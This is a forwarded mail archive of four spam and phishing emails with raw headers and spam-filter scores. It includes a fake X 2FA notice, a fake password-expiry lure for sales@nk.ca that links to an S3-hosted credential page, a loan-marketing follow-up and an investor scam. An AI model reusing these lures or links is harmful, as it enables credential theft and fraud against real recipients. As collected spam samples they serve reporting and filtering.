Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 26 Aug 2026 23:02:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzSEd-00000000Azh-1ZR1

for dave@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 23:01:07 -0600

Resent-From: The Doctor

Resent-Date: Wed, 26 Aug 2026 23:01:07 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from cockroach.aspen.relay.mailchannels.net ([23.83.221.37]:14573)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzMGf-000000005ni-1uP3

for doctor@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 16:38:59 -0600

X-Sender-Id: 9wt3zsp42r|x-authuser|assured@beetle-lon.cloudhosting.uk

Received: from relay.mailchannels.net (localhost [127.0.0.1])

by relay.mailchannels.net (Postfix) with ESMTP id CF5298C26E9

for ; Wed, 26 Aug 2026 22:37:58 +0000 (UTC)

Received: from beetle-lon.cloudhosting.uk (trex-green-0.trex.outbound.svc.cluster.local [100.96.19.83])

(Authenticated sender: 9wt3zsp42r)

by relay.mailchannels.net (Postfix) with ESMTPA id 550148C2853

for ; Wed, 26 Aug 2026 22:37:58 +0000 (UTC)

X-Sender-Id: 9wt3zsp42r|x-authuser|assured@beetle-lon.cloudhosting.uk

X-MC-Relay: Bad

X-MailChannels-SenderId:

9wt3zsp42r|x-authuser|assured@beetle-lon.cloudhosting.uk

X-MailChannels-Auth-Id: 9wt3zsp42r

X-Army-Robust: 53e57af217274853_1787783878746_3751989633

X-MC-Loop-Signature: 1787783878746:2689004244

X-MC-Ingress-Time: 1787783878746

Received: from beetle-lon.cloudhosting.uk (beetle-lon.cloudhosting.uk

[185.199.220.111])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384)

by 100.96.19.83 (trex/8.0.2);

Wed, 26 Aug 2026 22:37:58 +0000

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=assuredavsecurity.co.uk; s=default; h=Date:Content-Type:MIME-Version:

Message-ID:Reply-To:From:Subject:To:Content-Transfer-Encoding:Sender:Cc:

Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:

Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:

List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;

bh=SF89MZfnngOtwVg6MT1kHmNYJ4xcmobmw2Rdf9gbbyc=; b=WtIiX9j3OS1UXIsrqLjLJYL7QS

VZq4e0GX4IDfIxkl7CL/Aca+JSZyFJcrjSCdzSSXcFWucwdqbdqEDMpBojBTOD3+8XKeWoHph3GQ5

1gdbY7Bbhw/E6oXq/QGsWXf7O5d9Y8npE8bLRi7LDLi8cGR2AjqxImbumEryiYTfPJwTEnioxp7kO

NiERZMhrdBY0AR7dTIjZCotvp/iLOeGHG1rMx+MCTRuJM10EOnoJDrdMeLDyzA+uqmXU8dx4jenOr

HUjvwVwL5nfVcur8LyCh31Ur7bZGU3SS1h15Rz+It76N1eau72iqnfOa5/g237kw+GT0K0J/IOAeH

hx2O/6JA==;

Received: from assured by beetle-lon.cloudhosting.uk with local (Exim 4.99.5)

(envelope-from )

id 1wzMFo-00000009JrH-0LcM

for doctor@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 23:37:56 +0100

To: doctor@doctor.nl2k.ab.ca

Subject: =?UTF-8?B?cm9vdG5rLCAyRkEgd2FzIHRlbXBvcmFyaWx5IHBhdXNlZCDigJMgcmUtZW5hYmxlIGl0IHdpdGggb25lIGNsaWNrLg==?=

From: =?UTF-8?B?WA==?=

Reply-To: info@assuredavsecurity.co.uk

Message-ID:

X-Mailer: PHP/8.2.33

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="----=_NextPart_78c26f323008ff78236262c4ae41eeeb"

Date: Wed, 26 Aug 2026 23:37:56 +0100

X-AuthUser: assured@beetle-lon.cloudhosting.uk



------=_NextPart_78c26f323008ff78236262c4ae41eeeb

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



X 2FA Manager



Hello rootnk, your two‑factor authentication was paused because of a configuration mismatch. This makes your account less secure.



With X 2FA Manager, you can re‑enable it instantly. Just connect your account – it takes one click and restores full protection.



Re‑enable 2FA



If you did not request this pause, we strongly advise re‑enabling 2FA immediately. No backup codes are required.



Help  | Email security tips



X Corp. 1355 Market Street, Suite 900 San Francisco, CA 94103



------=_NextPart_78c26f323008ff78236262c4ae41eeeb

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: 8bit





































X

X 2FA Manager

Hello rootnk, your two‑factor authentication was paused because of a configuration mismatch. This makes your account less secure.

With X 2FA Manager, you can re‑enable it instantly. Just connect your account – it takes one click and restores full protection.

Re‑enable 2FA

If you did not request this pause, we strongly advise re‑enabling 2FA immediately. No backup codes are required.

Help  | Email security tips

X Corp. 1355 Market Street, Suite 900 San Francisco, CA 94103











------=_NextPart_78c26f323008ff78236262c4ae41eeeb--

NK.CA credential from google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 26 Aug 2026 23:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzSE5-00000000AsF-0s2Q

for dave@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 23:00:33 -0600

Resent-From: The Doctor

Resent-Date: Wed, 26 Aug 2026 23:00:33 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pg1-f228.google.com ([209.85.215.228]:55610)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzLDT-00000000IGn-0SiD

for sales@nk.ca;

Wed, 26 Aug 2026 15:31:35 -0600

Received: by mail-pg1-f228.google.com with SMTP id 41be03b00d2f7-cc1cf287ef8so635012a12.3

for ; Wed, 26 Aug 2026 14:30:40 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=waves-systems.20251104.gappssmtp.com; s=20251104; t=1787779834; x=1788384634; darn=nk.ca;

h=content-transfer-encoding:content-type:mime-version:message-id:date

:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=iIMAkYGLH5Ub5wRTkG4aXeKnbG8fWkW1WxfPQaEmhGk=;

b=pNRezdTx8K8Qp01PHrNWTtX2aLwdYMMR94cUvyE6pXl2/toTKc/xvNBvaxTEcxaJ9D

ki3HFVAgzeLHBBt4j7hUg78/+OlrAtuYqKMdo01hQ3LuxLoqfFS0e0Lhe72lL+A35LDT

Awlszuv7rd2crMc8uLNzjw8cYSyNjb5+DXQujMVaMLUuQJOhg7TreHzRSvcdDL5daPtH

1u2PFvhxi//RBxt619HHyCjst/+8ilf0ppJyOSSTLts2aVZuX8OvMgueW2i4GUK5Amz6

EL6q29B41eC3iykdCqwFs3gbotPssIgskVgN6vCTCN3NUfTO5S+id+u64CzgF5L/KT/M

WUaw==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1787779834; x=1788384634;

h=content-transfer-encoding:content-type:mime-version:message-id:date

:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=iIMAkYGLH5Ub5wRTkG4aXeKnbG8fWkW1WxfPQaEmhGk=;

b=qna6xRbAuDxs7SHGtocHz8mpmVRCVZaWzOF7Fmtk4HdMmQZpN2H7mI+jQ4flGYPoDV

c+grv3z0SPDdNOo/46CPn8c94Iz4JZmRJJwWyqgV+89BnlSyHFzM5XdhfMmHOhAgDnmH

Xw0QZb+kt2fNYDN3Xjs9d8F/1TqJjXnUxaWt0+RkyRnNI0mZH7nV34zHt0BDCEzxLPny

BqCEQ4o6afiq6LNgynpF4ymLGtYWxwMRa5pKAVn+Bpn7ZWT71hsetbQnFGlkHemcBLWe

Ug/3bTCINv569frEu03WH5nHPYT/+uxTJ0SjOPvYp/zl4BjtGaQcL94Icb6dnWcBVjtD

/oTg==

X-Gm-Message-State: AFuF++k5xRF/UgBQSOPjzy+2bQ0CqkT8dPoRbbNU+Hf8P5fOorWQnNoB

D/Ibz03ZBSUaR/ZI1Yyu3b+3F3kKZjRQpY19favQC1oaM5C+DOVCDycb7WbqzXImFqrNL37fgRu

18FQ6ZX7lrj+6GMSfZVbr35KqKGbMoGeyTGeGO1/BCcqz

X-Gm-Gg: AR+sD13HwuqcSl9m4gQSOGwjPmsX3X448gNbs18DwLpN3a9AMZ+CyiTrKppJ4RIJasq

FfW/4FQLL8E2EiatABGqbm7XgInz5rWjStkhv3JJgUwUOmuU7NJOSMSKam2QLPzfOjaXXeKQwul

BP+ajK1CDlTBQcsFaMMCmKAszDlyWGORku+DpXznRTtyo57Rsu/bks01qT6Bi90eLGy4BjD8pMI

R8WmFMW2A1B4zfgnHIerMvf8eTymVBvnIHk0chJZwdpzIFsmqyZ+7k/PDIo/EJI/6ACxtObfPa7

gUYR4TT1Mzr79LbFmCh53tIXFNoRllNgd5irqQpu5sqhniwHTaLYmM/xlIJGkqIulCk5NYFzyg=

=

X-Received: by 2002:a17:90b:43:b0:393:1cf4:d972 with SMTP id 98e67ed59e1d1-3966d160f58mr21560570a91.3.1787779834624;

Wed, 26 Aug 2026 14:30:34 -0700 (PDT)

Received: from waves.systems ([104.223.84.143])

by smtp-relay.gmail.com with ESMTP id 98e67ed59e1d1-396758e09f1sm536512a91.3.2026.08.26.14.30.34

for ;

Wed, 26 Aug 2026 14:30:34 -0700 (PDT)

X-Relaying-Domain: waves.systems

From: "nk.ca"

To: sales@nk.ca

Subject: ACTION NEEDED: Password reset notification

Date: 26 Aug 2026 14:30:34 -0700

Message-ID: <20260826143033.8A6DD3BB951B8ADF@waves.systems>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 7.2

X-Spam_score_int: 72

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: sales@nk.ca Your password has expired! The password for your

email account sales@nk.ca will expire 8/26/2026 2:30:33 p.m...



Content analysis details: (7.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[104.223.84.143 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

[209.85.215.228 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.215.228 listed in dnsbl.ahbl.org]

[209.85.215.228 listed in dnsbl.ahbl.org]

[209.85.215.228 listed in dnsbl.ahbl.org]

[209.85.215.228 listed in dnsbl.ahbl.org]

[104.223.84.143 listed in dnsbl.ahbl.org]

[104.223.84.143 listed in dnsbl.ahbl.org]

[104.223.84.143 listed in dnsbl.ahbl.org]

[104.223.84.143 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.215.228 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.215.228 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.215.228 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.215.228 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.215.228 listed in list.dnswl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.215.228 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.215.228 listed in bl.score.senderscore.com]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.1 MXG_EMAIL_FRAG BODY: URI with email in fragment

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 NO_RDNS2 Sending MTA has no reverse DNS

1.5 GOOG_REDIR_HTML_ONLY Google redirect to obscure spamvertised website

+ HTML only

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.2 PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain

0.4 PDS_FRNOM_TODOM_NAKED_TO Naked to From name equals to Domain

1.5 PDS_FRNOM_TODOM_DBL_URL From Name to domain, double URL

Subject: {SPAM?} ACTION NEEDED: Password reset notification














letter-spacing: normal; font-family: "Lucida Grande", Verdana, Arial, Helv=

etica, sans-serif; font-size: 11px; font-style: normal; font-weight: 400; w=

ord-spacing: 0px; white-space: normal; border-collapse: collapse; orphans: =

2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures:=

normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-de=

coration-thickness: initial; text-decoration-style:=20

initial; text-decoration-color: initial;' border=3D"0" cellspacing=3D"0" ce=

llpadding=3D"0">






























px; border-style: solid; border-color: rgb(204, 204, 204); margin: 0px; bor=

der-radius: 5px 0px 0px; width: 20px; box-sizing: border-box;"> 

0px 10px; width: 600px; border-top-color: rgb(204, 204, 204); border-top-wi=

dth: 1px; border-top-style: solid; box-sizing: border-box;">


arial, sans-serif; font-size: 2.5rem; font-weight: 500; box-sizing: border-=

box;">sales@nk.ca=




px; border-style: solid; border-color: rgb(204, 204, 204); margin: 0px; bor=

der-radius: 0px 5px 0px 0px; width: 20px; box-sizing: border-box;"> 
td>


order-left-color: rgb(204, 204, 204); border-left-width: 1px; border-left-s=

tyle: solid; box-sizing: border-box;"> 

204, 204); border-image: none; width: 600px; box-sizing: border-box;">


ellspacing=3D"0" cellpadding=3D"0">















 =

;

ttom: 35px; box-sizing: border-box;">


size: 22px; margin-top: 0px; margin-bottom: 0.5rem; box-sizing: border-box;=

">Your password has expired!






0px; font-family: arial, sans-serif; font-size: 13px; box-sizing: border-bo=

x;">The password for your email account sales@nk.ca will e=

xpire 8/26/2026 2:30:33 p.m...






0px; font-family: arial, sans-serif; font-size: 13px; box-sizing: border-bo=

x;">We recommend that you use the below to keep password valid or upgrade&n=

bsp;to avoid login interruption, click the button below.




: 210px; text-align: center; color: white; font-family: "Open Sans", "Helve=

tica Neue", Arial; font-size: 15px; text-decoration: none; display: block; =

max-width: 210px; box-sizing: border-box; background-color: darkblue;' href=

=3D"https://www.google.com/url?q=3Dhttps%3A%2F%2Fs3.us-east-2.amazonaws.com=

%2Flanding-aerodonequipment.ca%2F98tyhj.html&sa=3DD&sntz=3D1&us=

g=3DAOvVaw29j4M_4i9qAwNsqV0VqE6V#sales@nk.ca" target=3D"_blank"=20

rel=3D"noreferrer">
; box-sizing: border-box;">KEEP SAME PASSWORD
 =

;



order-right-color: rgb(204, 204, 204); border-right-width: 1px; border-righ=

t-style: solid; box-sizing: border-box;"> 

px; border-style: solid; border-color: rgb(204, 204, 204); margin: 0px; bor=

der-radius: 0px 0px 0px 5px; width: 20px; box-sizing: border-box;"> 
td>


0px; width: 600px; border-bottom-color: rgb(204, 204, 204); border-bottom-w=

idth: 1px; border-bottom-style: solid; box-sizing: border-box;">


ellspacing=3D"0" cellpadding=3D"0">


















nt-family: arial, sans-serif; font-weight: bold; box-sizing: border-box;">A=

DMIN SIGNATURE

ily: arial, sans-serif; box-sizing: border-box;">


r-box;">Thanks, nk.ca Administrator Disclaimer: This is an=

auto-generated email. Please do not reply.













MArketing spam from google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 26 Aug 2026 23:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzSDn-00000000ApH-3A9Q

for dave@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 23:00:15 -0600

Resent-From: The Doctor

Resent-Date: Wed, 26 Aug 2026 23:00:15 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pf1-f170.google.com ([209.85.210.170]:60530)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzKi7-00000000C3M-3EK1

for sales@nk.ca;

Wed, 26 Aug 2026 14:59:14 -0600

Received: by mail-pf1-f170.google.com with SMTP id d2e1a72fcca58-848743155bcso727962b3a.0

for ; Wed, 26 Aug 2026 13:58:17 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=kesefmarketing.com; s=google; t=1787777891; x=1788382691; darn=nk.ca;

h=list-unsubscribe-post:list-unsubscribe:in-reply-to:references

:message-id:date:to:from:subject:mime-version:content-type:from:to

:cc:subject:date:message-id:reply-to:content-type;

bh=D8S/dzhin37m+8qd4tMQBdztDG1hVK7WQZYe88pquT0=;

b=OVLjaNGxowTJ44bCinTJJ9ZQthy+CMazUToj6lre1D4W0wwpi1rpSUZNMtuczownjj

8eWCWs36M4vOdHF1ji+qMVUbq5+azIktS03BpGvf7dNhH9ep+yXdsFzhkldIysWtdS7e

0pihzdwwDDzkX9cLAtnU/sPGJe+XLZkN04dY/S4qxWeIbogTC2TpTLYK4lbHXDZrP7VU

bMW4M5Yp1R0Io5ecKjNS9jYStHX8da51md2E5aqk9NqcNoKbcH9cz1YTy7MzS+NFbhbb

DFsWZ1rlo09Px6hr4P5ntT9jSh6xT3sxLyR9gv6db6u8jhf6soRWvAFHEn97xXu3hJI9

qmsA==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1787777891; x=1788382691;

h=list-unsubscribe-post:list-unsubscribe:in-reply-to:references

:message-id:date:to:from:subject:mime-version:content-type:x-gm-gg

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=D8S/dzhin37m+8qd4tMQBdztDG1hVK7WQZYe88pquT0=;

b=GN/TPut+wquTyVUCSGG5/RmqFOr1I1/Jbvxn9DtGQBcefpycZhLfUuvGiH/cvkM0Ne

pl+M6KtRRxNXdQAywnTfWT0YtpMvEQpI5ogRs09Nx+iSRaSLhKNuHT1EhLfWkPBu7XlV

OYltJrvZpIM6oEObLIiMOz4bvpPxC8CK3PsQ9jLz7rC5vTfk+tL+X9n3bdnfW0QpKkqc

W5wapEwWdpntgYQEyXGo/yASdwOLbzFVYUyPDdAffiNBn4yrAmuU2UdaBJjtXf1X0BLw

94MnvRNE9QIR0TrqpaUOMA7gFa4EB5nQwIrpnQS4+h/mNWGgSYFwtgfPKq7cFzb7Q3Kl

sGtg==

X-Gm-Message-State: AFuF++nDSP8uuUVIVHQ0GDPhv2dnhmvaG54H6CesGnmFeK3FGZE2Wxn6

AVmoy1ZD2LpTDJaUMRApJuYAUv0HFtFXl2vhz761dBJ14SZv2MrWyG4O8JVg/QUXgbwyq3WwXgX

9sjTDlHI=

X-Gm-Gg: AR+sD106SaXGj6O1ha01IfdSxtg8rKWNdGOgfeczMemxOM1Y37SX1om4UCPjb+9qCbH

tPx0eHJ2Go3b/Rc0yuluwejVMLOyL3vCyMQCuIHpj1CgJTj1zJbjX4VutzDlGv+vziOfcvPxcbq

Wcsy7HzbaQbyPPpTYs4RKZTBa2/EQJj8ltUcNLoG3x69UC8XY9FvXxl/tn9AymYAoGgaDbQ18sF

aqSKyhVdl90yvVxnoPqik+d326gWuKHjdmnPPg6VFoYfIkM+CVJxfEzzpQWyNH1qy4r/DnO/VfO

bYhL8z0KBZ22e4pCh1i7tpJS6WqqtMLN9QyyoQIVoHXQo3GhKTJsoqysXSUtNdN4neA7EsVPEUM

Salw1jIHs1vjAF+od16GsfllvMmYS6KyAYanaF0eHVt6CVlKqGa8WTMm/P0RveUrzjUqdB0vEQ4

p9RxCwNtP1hpKPcqFumoAqbaNV5XCmlHNvygZ25QUS//45YqhzuAsO0KmYpcv8Z//jyIW4y33et

Zy6TWjCAG4xo8ORsME3FVXfz+o3rGZLbs/YHWAPA3EOiKTHESwJFiZ5kHNl3g==

X-Received: by 2002:a05:6a00:600e:b0:852:57a0:aa03 with SMTP id d2e1a72fcca58-85374ab3074mr20107579b3a.14.1787777890771;

Wed, 26 Aug 2026 13:58:10 -0700 (PDT)

Received: from smtpgw.close.com (am11-natgw-c0.close.com. [54.200.191.154])

by smtp.gmail.com with ESMTPSA id d2e1a72fcca58-8535cecb754sm1326615b3a.40.2026.08.26.13.58.09

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Wed, 26 Aug 2026 13:58:09 -0700 (PDT)

Content-Type: multipart/mixed; boundary="===============8706639139561813052=="

MIME-Version: 1.0

Subject: Re: Kesef Marketing | Smarter Access to Business Loans

From: =?utf-8?q?Anna_Kesef_Marketing?=

To: =?utf-8?q?Gurkirat_Wirring?=

Date: Wed, 26 Aug 2026 20:58:09 +0000

Message-ID: <178777788923.8.13100416135937699766@smtpgw.close.com>

X-CLOSEIO-EMAIL-ID: acti_JlPL36SG201G3kabJEqnObwjVtrna3Kel8yYZYVtqHl

References: <178646337461.7.1240611996543057914@smtpgw.close.com> <178646337461.7.8575171778634196756@smtpgw.close.com> <178656720216.7.719897199253237218@smtpgw.close.com> <178656720216.7.1487486787664217380@smtpgw.close.com> <178665638576.8.14493170454529970862@smtpgw.close.com> <178665638576.8.10004896856150860707@smtpgw.close.com> <178674436134.7.13789459120733539838@smtpgw.close.com> <178674436134.7.15043001032031211174@smtpgw.close.com> <178717590920.7.11514546446340323981@smtpgw.close.com> <178717590920.7.6698188364795184228@smtpgw.close.com>

In-Reply-To: <178717590920.7.11514546446340323981@smtpgw.close.com>

List-Unsubscribe:

List-Unsubscribe-Post: List-Unsubscribe=One-Click



--===============8706639139561813052==

Content-Type: multipart/alternative; boundary="===============3672571940801715438=="

MIME-Version: 1.0



--===============3672571940801715438==

Content-Type: text/plain; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable



**Hi Gurkirat,**



=20



**This is Anna Sanchez from Kesef Marketing.**



=20



**We still have your request open on our end.**



=20



**If you'd like to move forward, you can start here: =20

**[**CLICK HERE TO START YOUR

APPLICATION**](https://form.jotform.com/260672364104452?lead_id=3Dlead_1MVG=

GnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN

K

MAINTENANCE&fullName\[first\]=3DGurkirat&fullName\[last\]=3DWirring&leadTyp=

e=3DAutomation)



=20



**If you have any questions or would prefer to speak directly, feel free to

call me at 1-866-216-5475 or 873-502-8068**



=20



**Best regards,**



=20



=20



=20



** =20

**



**Anna Sanchez**



**SALES MANAGER**



** =20

Doha investors spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:37:27 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaI9-00000000Kh4-36IW

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:37:17 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:37:17 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from bsgw-00000025.cafe24.com ([118.219.235.56]:47092)

by doctor.nl2k.ab.ca with esmtp (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzXZS-00000000DOe-2Yw3

for sales@nk.ca;

Thu, 27 Aug 2026 04:43:08 -0600

Received: from [130.254.47.122] ([46.203.215.8])

(AUTH: LOGIN pppjm1234@moonmyung.co.kr)

by bsgw-00000025.cafe24.com with esmtp; Wed, 26 Aug 2026 00:30:53 +0900

id 000000000350ADEB.000000006A8DB52E.00001F81

Content-Type: text/plain; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body

Subject: Investment partnership

To: sales@nk.ca

From: "doha consultant"

Date: Tue, 25 Aug 2026 08:30:53 -0700

Reply-To: info@doha-consultant.com

Received-SPF: softfail (Address does not pass the Sender Policy Framework)

SPF=FROM;

sender=pppjm1234@moonmyung.co.kr;

remoteip=46.203.215.8;

remotehost=;

helo=[130.254.47.122];

receiver=bsgw-00000025.cafe24.com;

Message-ID:

X-Spam_score: 9.2

X-Spam_score_int: 92

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Greetings How are you doing? Do you need an investment partner

for any of your projects? I have many investors who are willing and able

to invest in your project for partnership. Send me your whatsaap for faster

communications



Content analysis details: (9.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[46.203.215.8 listed in zen.spamhaus.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[46.203.215.8 listed in sbl-xbl.spamhaus.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[118.219.235.56 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 HK_RANDOM_FROM From username looks random

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.6 HK_RANDOM_ENVFROM Envelope sender username looks random

0.5 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date

